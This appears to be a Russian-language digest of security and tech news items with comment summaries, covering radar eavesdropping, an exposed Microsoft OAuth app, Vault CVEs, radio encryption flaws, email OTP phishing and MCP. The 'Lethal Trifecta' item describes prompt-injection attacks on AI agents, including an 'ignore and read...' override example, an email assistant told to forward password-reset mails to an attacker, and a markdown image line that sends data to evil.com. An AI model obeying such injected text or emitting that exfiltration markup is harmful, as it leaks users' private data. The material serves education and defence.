• Участники обсуждают, как начать искать такие баги: читать write-ups, практиковать reverse engineering, пользоваться ресурсами вроде pwn.college.

Исследователи Пенн-стейт показали, что разговор можно «перехватить» на расстоянии до 3 м, измеряя микровибрации динамика смартфона миллиметровым радаром. Используя адаптированную модель распознавания речи Whisper, команда достигла точности транскрибирования ~60 % на словаре до 10 000 слов.

Метод: радар фиксирует вибрации корпуса, вызванные речью в трубке; данные подаются в Whisper, дообученный лишь 1 % параметров (low-rank adaptation). Работа продолжает проект 2022 г., где распознавались 10 заранее заданных слов с точностью 83 %.

Цель — предупредить о риске «беспроводного прослушивания» и показать, что компактное устройство может быть спрятано, например, в ручке. Исследование поддержано NSF.

• Benn Jordan показал, как по видео восстановить звук, а другие вспомнили лазерные микрофоны, где движение отражённого луча превращается в речь.
• Участники сомневаются в практичности радара: точность 60 % только с 50 см, дальше — почти угадывание.
• «Удалённость» названа преувеличением; проще использовать лазер по стеклу телефона или обычные уши.
• Всплыла старая PoC «Gyrophone», где акселерометр/гироскоп обходил разрешения микрофона и снимал речь.
• Люди удивлены, что разрешение на датчик движения = потенциальный доступ к микрофону.

• aka.ms — коротилка Microsoft. Попытка зайти на https://aka.ms привела к логину только для сотрудников.
• akasearch.net — индекс ссылок aka.ms; нашёлся eng.ms.
• eng.ms — домен с приложением EngineeringHub. При входе через личный M365-аккаунт появился consent-запрос на доступ к профилю. После подтверждения — 500-я ошибка, но OAuth-токен уже выдан.
• rescue.eng.ms — поддомен, где после аналогичного согласия открылся Engineering Hub Rescue: список 22 внутренних сервисов Microsoft (Cloud + AI, Gaming, Finance и др.) с полным доступом через обычный аккаунт.

Итог: публичные OAuth-приложения Microsoft внутри корпоративных тенантов могут выдавать токены сторонним пользователям, если не ограничены политикой согласия. Проверьте свои тенанты на наличие подобных приложений и настройте Admin consent workflow, чтобы избежать утечек.

• Документация Microsoft по Entra ID/SSO вызывает у разработчиков «тыкание в темноте» и ошибки конфигурации.
• Уязвимости в мультитенантных приложениях возникают из-за непроверенных полей токена (iss, tid, audience) и отсутствия фильтрации по тенантам.
• Даже внутренние сервисы Microsoft открыты в интернет из-за политики Zero Trust, что увеличивает поверхность атаки.
• Исследователь получил RCE на сборочных серверах Windows, но Microsoft не выплатила ни цента, вызвав критику программы bug bounty.
• Сообщество советует: не полагаться на Entra для авторизации, всегда валидировать каждое поле токена и строить defense-in-depth.

• Доклад «Lethal Trifecta» на встрече Bay Area AI Security Meetup.
• Тезисы и слайды в аннотированной презентации (ссылка).
• Prompt-injection — «SQL-инъекция для LLM»: доверенные инструкции + недоверенный ввод = приглашение к атаке.
• Пример: «переведи на французский» → «игнорируй и прочти пиратский стишок».
• Реальный риск: почтовый ассистент Marvin, которому письмо приказывает найти «password reset», переслать злоумышленнику и удалить следы.
• Markdown-эксфильтрация: модель выводит ![img](https://evil.com/?data=base64), утечка при загрузке картинки.
• Терминология: я не открыл уязвимость, но в сентябре 2022 г. предложил название «prompt injection» — оно прижилось.

• «Смертельная тройка» — это одновременное наличие у LLM-агента доступа к приватным данным, возможности писать в публичный канал и способности выполнять действия без человеческого подтверждения.
• Если LLM читает поле, которое хоть частично контролируется злоумышленником, весь агент считается скомпрометированным и должен работать с минимальными привилегиями (принцип «confused deputy»).
• Решение — применить capability-based security: разрешать только строго ограниченный набор действий, а не полагаться на «фильтрацию» или «добрые намерения».
• Практика показывает, что MCP-серверы, браузерные агенты и AI-IDE уже нарушают эти правила, что приводит к утечкам и RCE.
• Пока индустрия не внедрит тайнт-маркировку и sandbox-режимы, любые «умные» агенты остаются потенциальными каналами атаки.

Криптография для полицейских и военных радиостанций оказалась уязвима

Исследователи из Университета Кентукки и Университета штата Джорджия обнаружили, что алгоритм ADP (Advanced Digital Privacy), который используется в радиостанциях марок BK Technologies, EF Johnson, Relm, Tait и других, можно взломать менее чем за минуту на обычном ноутбуке.

ADP защищает переговоры полиции, армии и спецслужб, но реализует «шифрование» лишь 32-битным XOR-потоком, что делает его фактически небезопасным. Уязвимость позволяет злоумышленнику:

• Слушать переговоры в реальном времени
• Изменять команды и координаты
• Отключать группы или отдельных операторов

Проблема усугубляется тем, что:

• Производители не публикуют спецификации ADP, поэтому пользователи не могут оценить уровень защиты.
• Некоторые модели радиостанций не поддерживают современные стандарты (AES-256, P25), оставляя ADP единственным вариантом.

Эксперты рекомендуют переходить на AES-256 или P25 Phase 2, но это требует замены оборудования и перенастройки инфраструктуры.

• Kevin Mitnick в 90-х глушил полицейские рации, просто зажимая кнопку передачи; сегодня такое не пройдёт из-за P25-транкинга.
• P25 и TETRA имеют уязвимости: от «on-demand» трекинга до 56-битных ключей и закрытых алгоритмов.
• В США до недавнего времени большинство переговоров шло в открытом виде, и жители жаловались на переход к шифрованию.
• Некоторые участники описывают, как легко искать MAC-адреса полицейских ноутбуков или использовать SDR-донглы и дроны для мониторинга.
• Общий вывод: безопасность радиосвязи часто рассматривалась как пунктик, а не базовое требование, и теперь это даёт сбой.

Model Context Protocol (MCP) стал стандартом для вызова инструментов при создании агентов, но сам LLM не обязан «понимать» MCP. При «инжиниринге контекста» вы даете модели нужные данные и доступ к инструментам; стандарт MCP лишь унифицирует подключение к ним. Для модели это просто список определений инструментов — она не знает о реализации, и это нормально.

MCP дает доступ к тысячам инструментов без кастомных интеграций и упрощает агентный цикл: разработчик вызывает инструменты, а LLM лишь генерирует текстовый фрагмент с именем инструмента и параметрами. LLM не «умеет» вызывать функции — он предсказывает текст, который ваша система парсит, выполняет реальный вызов и возвращает результат как новое сообщение.

Пример: при наличии инструмента get_weather(location) на вопрос «Какая погода в Сан-Хосе?» модель может сгенерировать: { "name": "get_weather", "input": { "location": "San Jose, CA" } } Агент выполняет этот вызов и передает ответ обратно модели. Разделение обязанностей: LLM предсказывает, система исполняет.

MCP стандартизирует подключение к источникам (инструменты, подсказки, ресурсы, примеры) через хост-приложение с MCP-клиентом и сервера MCP, которые экспонируют инструменты. Взаимодействие с LLM не меняется — меняется способ, как инструменты подаются и вызываются «под капотом». Для того же вопроса модель увидит тот же список инструментов; решение, как именно вызвать, остается за разработчиком (с MCP — через MCP).

Преимущества MCP — для разработчика: управление ростом числа инструментов, переиспользование, единые форматы, быстрые подключения к новым системам без переписывания кода. LLM не узнает о MCP, если вы сами не укажете это в системном промпте; его роль — сгенерировать фрагмент вызова, а ваша — выполнить его.

• Участники сомневаются в необходимости MCP: если чат-боты не станут главным интерфейсом, спецификация может оказаться ненужной.
• Критика сосредоточена на локальной модели «скачай-и-запусти MCP» — её считают избыточной; крупным компаниям достаточно удалённого MCP или прямых REST-вызовов.
• Большое количество доступных инструментов снижает точность агентов; лучше строго ограничить набор и активно подсказывать, как их использовать.
• MCP воспринимается как поспешный стандарт от Anthropic, слабо продуманный в части безопасности и авторизации.
• Некоторые видят перспективу в «USB-аналогии»: MCP может стать универсальным способом подключения систем друг к другу, выходя за рамки LLM.

Введение: когда модель доверия подводит

Секрет-хранилища — опора цифровой инфраструктуры: в них лежат креденшелы, токены и сертификаты, управляющие доступом к системам, сервисам, API и данным. Это не просто часть модели доверия — это и есть модель доверия. Если хранилище взломано, инфраструктура уже потеряна.

Понимая, что такие хранилища — цели высокой ценности, команда Cyata провела углубленную оценку HashiCorp Vault — одного из самых популярных решений.

За несколько недель мы выявили девять ранее неизвестных уязвимостей нулевого дня, каждой присвоен CVE через ответственное раскрытие. Совместно с HashiCorp все проблемы были исправлены до публикации.

Обнаруженные изъяны обходят блокировки, политики и позволяют выдавать себя за других. Одна уязвимость ведет к повышению привилегий до root, другая — к первому публичному RCE в Vault, дающему полный захват системы.

Мы увидели цепочки логических ошибок, которые по отдельности и в комбинации создают опасные пути атаки — особенно в реальных внедрениях с мисконфигами или избыточными правами.

Это не были ошибки памяти или гонки, а скрытые логические баги в слоях аутентификации, идентичности и политик Vault. Некоторые существовали почти десятилетие — незаметные, но легко эксплуатируемые после понимания.

Предыдущие исследования (например, Google Project Zero, 2020) касались обходов в IAM-бэкендах облаков (AWS, GCP). Мы нацелились на базовые потоки аутентификации Vault, затрагивающие OSS и Enterprise-версии по разным провайдерам.

Далее — что мы нашли, как нашли и что это значит для инфраструктуры, которую должен защищать Vault.

Что такое HashiCorp Vault?

Vault — открытый инструмент для защиты, хранения и контроля доступа к секретам: API-ключам, паролям БД, сертификатам, ключам шифрования.

Его используют компании разных масштабов: он централизует управление секретами и применяет детальные политики в распределенных системах.

По сути — это граница безопасности: аутентифицирует людей и машины, посредничает доступу к чувствительным данным.

В DevSecOps Vault снижает риски хардкода секретов, расползания и несанкционированного доступа. Его ценят за гибкую интеграцию, точные политики и пригодность для сложных сред. Часто это последний сторож секретов: при определенных настройках компрометация Vault равна компрометации всего.

Основные возможности Vault

• Управление секретами и крипто-движок для динамичных мульти-/гибрид-облаков
• Централизованное хранилище с доступом по API
• Динамическая выдача учетных данных с автоистечением
• Идентификационно-ориентированный доступ для людей и машин
• Шифрование как сервис для данных «в покое» и «в пути»
• Управление сертификатами: выпуск, ротация, отзыв
• Распределение, включение/отключение и ротация ключей шифрования

Методология: как мы нашли то, что другие пропустили

Это целенаправленное исследование логических уязвимостей Vault — тех, что не видны в сканерах памяти и логах падений, но подтачивают модель доверия.

Мы исходили из гипотезы: если Vault — якорь доверия, то малые несогласованности в идентичности, аутентификации или политике могут иметь непропорционально большие последствия.

Фокус — базовый поток обработки запросов, особенно файл request_handling.go, «мозг» Vault: маршрутизация, разрешение идентичностей, принятие политик. Неделями изучали логику функций и модулей, отслеживая крайние случаи размывания границ доверия.

Не полагались на фаззинг и автопробинг. Проводили глубокий ручной код-ревью, анализируя не только функции, но и интерпретации идентичности/ввода разными компонентами. Увидев несоответствия в регистре, алиасинге, форматировании — углублялись.

Каждый тест — целевая проверка, основанная на коде. Мы думали как атакующие: начиная с минимальных прав, спрашивали «насколько далеко можно продвинуться отсюда?» И повторяли этот цикл, замечая мелкие несоответствия и прослеживая их последствия.

• Исследователи из Cyata (Vault Fault) вручную обнаружили 9 CVE в Vault, включая цепочку до RCE; отчёт писали люди, но с редактором.
• Ключевая причина уязвимостей — «полезная» нормализация строк: преобразования регистра/UTF в auth-плагинах дают bypass, перечисление имён и привилегии.
• OpenBao подтвердил 8 из 9 CVE; жалуются, что HashiCorp не предупредил заранее, и приглашают к сотрудничеству.
• Некоторые участники считают код Vault «бардаком» и тесты слабыми; другие спорят, что такие логические ошибки встречаются везде.
• Обсуждение стиля: текст кажется «AI-шным» из-за многословности, но информативности это не мешает.

Слишком многие сервисы используют такой вход:

• Введите email или телефон
• Сайт отправит 6‑значный код
• Введите код для входа

Пожалуйста, прекратите.

Почему это плохо для безопасности:

• Злоумышленник может отправить ваш email на легитимный сервис и заставить вас ввести присланный код в фишинговой форме. Вы не можете быть уверены, где именно нужно вводить код. Менеджеры паролей тут не помогают.
• Этот метод реально эксплуатируется: вход Microsoft для аккаунтов Minecraft использует такие коды, и уже множество аккаунтов было украдено (есть подтверждения на Reddit и YouTube, а также в документации Microsoft).

• Обсуждение критикует OTP по email (6-значные коды): уязвимость к фишингу через «партнёра-входа», спам-запросы на сброс пароля и навязывание пользователям вместо пароля/менеджеров паролей.
• Многие считают, что email-коды хуже UX: задержки, переключение аккаунтов, блокировки при путешествиях, навязчивая MFA/телефон, а также баги (отписка от рассылок ломает вход).
• Контраргументы: пароли тоже фишингуемы и часто слабые/повторяются; для нетехничных пользователей код/магическая ссылка понятнее.
• Предпочтения и альтернативы: магические ссылки вместо кодов (менее фишингуемы), TOTP, passkeys, соцлогин, менеджеры паролей, иногда даже IP-ограничения; просьбы дать выбор, а не форсить один метод.
• Безопасность email-OTP можно улучшать: сочетать короткий код и длинный одноразовый токен, строгие антифишинговые меры почтовых сервисов, ограничения на частоту запросов.
• Реальные негативные кейсы: принудительные схемы у банков/сервисов, невозможность входа без телефона, постоянные письма о сбросах, статические «коды» у некоторых приложений.
• В целом тренд: сервисы перекладывают риск на почту/Google; часть участников продвигает переход к passkeys и магссылкам как более безопасным и удобным компромиссам.

• Логотип Multics

• Домой

  • История »
    • Возможности
    • Мифы
    • Project MAC
    • Даты
    • Глоссарий
    • Проект истории
    • Последний сайт
  • Люди »
    • Истории
    • Фотографии
    • Юмор
    • Памятные вещи
  • Библиотека »
    • Статьи и доклады
    • Технические статьи
    • Документы разработки
    • Исходники
    • Симулятор
  • Сайты »
    • Хронология площадок
    • AFDSC (Пентагон, Вашингтон)
    • ASEA (Вестерос, Швеция)
    • Avon (Бристоль, Англия)
    • Bell Canada (2 площадки)
    • CISL (Кембридж, Массачусетс)
    • CNO (Миннеаполис, Миннесота)
    • DND-H (Галифакс, Канада)
    • DOCKMASTER (АНБ, Мэриленд)
    • FORD (Детройт, Мичиган)
    • GM (Детройт, Мичиган)
    • Майнц (Германия)
    • MIT (Кембридж, Массачусетс)
    • NWGS (ВМС США, 4 площадки)
    • OU (Рочестер, Мичиган)
    • PRHA (Сан-Хуан, Пуэрто-Рико)
    • RADC (Рим, Нью-Йорк)
    • RAE (Фарнборо, Англия)
    • STC (Лондон, Англия)
    • System-M (Финикс, Аризона)
    • Systeme X (Лувесьен, Франция)
    • UC/ACTC (Калгари, Канада)
    • USGS (3 площадки)
    • USL (Лафайет, Луизиана)
    • VPI (Блэксберг, Вирджиния)
  • О сайте »
    • Изменения
    • Новости
    • Ссылки
    • Галерея
    • Карта сайта

• Поиск

• Меню: История: Возможности | Мифы | Project MAC | Даты

• Участники обсуждают влияние Multics на современную вычислительную технику: от безопасности и архитектуры до наследия в текущих проектах (например, STOP, происходящий от SCOMP/STOP).
• Делятся воспоминаниями об использовании Multics в британских университетах в 80-х: система считалась быстрой, апгрейды памяти были ощутимыми, доступ через терминалы и JANET, позитивный опыт работы.
• Мнения расходятся: одни критикуют «всеобъемлющесть» дизайна и сложность (в контраст к UNIX), другие подчёркивают сильные стороны Multics — кольца защиты, строгие политики доступа (MAC/ACL), сегментную память и отсутствие переполнений буфера.
• Отмечают ограниченную портируемость Multics к немногим мэйнфреймам, несмотря на теоретическую переносимость.
• Ссылаются на полезные ресурсы: мифы о Multics, оценка безопасности B2, страницы по безопасности данных (AIM/MAC), «Три вопроса» для анализа багов, меморабилии, хронологии и список недавних изменений.
• Обсуждают спад активности оригинальных установок (последние закрытия около 2000 г.), эмулятор DPS8M и печальные новости об уходе участников проекта.
• Несколько комментаторов переосмыслили роль UNIX после знакомства с историей Multics и более ранними идеями (Xerox PARC), видя в Multics самостоятельную и богатую идеями систему, а не только «предтечу UNIX».

Я обожаю dotfiles.

“Dotfiles” — это конфигурационные файлы для программ и ОС, часто начинаются с точки: .bashrc, .tmux.conf, .zshrc. Когда софт не поддерживает настройку файлами, грустно: сложнее синхронизировать конфиги между устройствами и при настройке новых машин.

Я люблю делиться: пишу блог, веду цифровой сад заметок и выкладываю почти весь код на GitHub. И обожаю читать чужие dotfiles, учиться у них.

Но свои публиковать некомфортно: мои алиасы, кастомизации и решения кажутся слишком личными. Почему — точно не знаю.

У меня есть классный репозиторий с кучей всего: конфиг zsh и алиасы, tmux, neovim и vscode, Python startup-скрипт. Храню список пакетов Homebrew — ставлю на новый компьютер одной командой. Там же — CSS-правила для Stylus, чтобы везде получать нужный вид.

Для управления использую GNU Stow: структура папок позволяет командой stow [folder] раскидать симлинки по нужным местам, и изменения синхронизируются на всех машинах. Это очень удобно.

В сумме там 19 конфигов плюс весь мой neovim с плагинами. Но пока я «берегу их как тайну», пока не почувствую готовность делиться.

Если откликнулось — напишите на juhamattisantala at gmail dot com. В 2025 хочу больше глубоких разговоров с людьми со всего мира — буду рад вашему письму.

• Участники разделились: одни считают дотфайлы слишком личными/уязвимыми для публикации, другие — ценным источником обмена знаниями и вдохновения.
• Главные опасения: утечки секретов и контекста (хосты, пути, IP, корпоративные детали), риски социнженерии и отпечатков, а также стыд/страх оценки «неидеальной» личной конфигурации.
• Распространенная практика — разделение на слои: публичные «универсальные» настройки, приватные оверрайды и секреты; отдельные репозитории, шифрование (age/gpg, sops), менеджеры вроде chezmoi, myba, Polykey.
• Советы по безопасности: не хранить секреты в .bashrc и подобных, исключать их через .gitignore, использовать шифрование и хранилища (1Password ссылки, отдельные файлы, приватные репо).
• Польза публикации: обучение через чужие конфиги (vim/zsh/emacs/nvim), улучшения качества жизни через алиасы/маппинги, возможность быстро делиться и переустанавливать окружение.
• Практические подходы: файл-локальные приватные настройки, employer-специфические include-файлы, документирование и чистка перед открытием, минимизация зависимостей от нестандартного софта.
• Итоговый консенсус: «делиться избирательно» — держать публичным обобщаемое и полезное, а чувствительное и слишком личное — приватным или зашифрованным.

• Обсуждение о том, что один из корпоративных Salesforce-инстансов Google был скомпрометирован через вишинг-атаки (UNC6040), с кратковременной утечкой контактных данных и заметок по малому и среднему бизнесу; официальный тон смягчает масштаб, что вызывает скепсис.
• Комментаторы сомневаются в формулировках “лишь базовые и публичные данные”, предполагая, что ценность для злоумышленников была реальной (возможны вторичные схемы, например мошенничество с биллингом).
• Многих удивляет, что Google использует Salesforce; объяснения: историческое наследие, быстрые поглощения, а также предпочтения команд продаж и маркетинга к индустриальным стандартам вместо внутренних инструментов.
• Приводятся истории о неудачных внутренних CRM у Google: баги, нехватка функций, нежелание инженеров поддерживать; продажи и PM часто продавливают Jira/Salesforce ради скорости найма и онбординга.
• Отмечается культурный сдвиг: замена внутренних решений “джанковыми” шаблонными процессами Salesforce; внутренние инструменты больше для инжиниринга.
• Уточнения: у Google десятки тысяч сотрудников в продажах/маркетинге; часть саппорт-систем GCP ранее зависела от Salesforce; выбор строить/покупать/партнериться по CRM оценивался и часто оказывался экономически нецелесообразным для собственной разработки.
• Общий вывод: инцидент — результат классической социальной инженерии, а не технического взлома; реакция компании стремится минимизировать восприятие ущерба, вызывая дискуссии о прозрачности и рисках использования сторонних SaaS.

I've been running Frigate for more than two years now and it beats the hell out of any system I've tried in terms of detection speed and reliability. For context, I've tried Ring, Tapo cameras, and also Eufy security. Today I have turned away from all the cameras except for the T

Whenever I look into IP cameras I close the tabs because it feels like I walked into a store brand cereal aisle where all the boxes are exclaiming “Now with fewer razor blades!” or “Only half the reported cases of salmonella than similar store brands!”What’s a good brand for IP c

TinyKVM [1] has similarities to the gVisor approach but runs at the KVM level instead, proxying a limited set of system calls through to the host.EDIT: It seems that gVisor has a KVM mode too. https://gvisor.dev/docs/architecture_guide/platforms/#kvmI've been working on KVMServer